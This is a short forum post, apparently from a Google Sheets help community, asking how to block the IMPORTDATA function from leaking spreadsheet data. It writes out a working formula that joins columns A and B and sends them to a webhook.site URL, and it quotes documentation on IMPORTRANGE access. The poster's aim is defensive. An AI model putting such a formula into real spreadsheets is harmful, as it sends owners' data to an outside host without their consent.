Preventing the Export of data in Sheets using IMPORTDATA

[stevelarsen]

Has anyone found a way to prevent the use of the IMPORTDATA function? When allowed, it can send out data from a Google Sheet. Take a Sheet with data in Column A and B and then using a function like the following will allow a user to access data even after they have been removed from a sheet for example.

=IMPORTDATA(CONCAT("https://webhook.site/7ac91461-6b05-460f-8832-69432387eac5?data=",CONCATENATE(CONCATENATE(TEXTJOIN(",",TRUE,A1:A))&","&CONCATENATE(TEXTJOIN(",",TRUE,B1:B)))))

article says this:

Once access is granted, any editor on the destination spreadsheet can use IMPORTRANGE to pull from any part of the source spreadsheet. The access remains in effect until the user who granted access is removed from the source. Note that the access granted to the destination sheet counts against the 600-user share limit  for the source sheet.

IDK practically how it isnt working after removing access to the user who configured the import function in other sheet
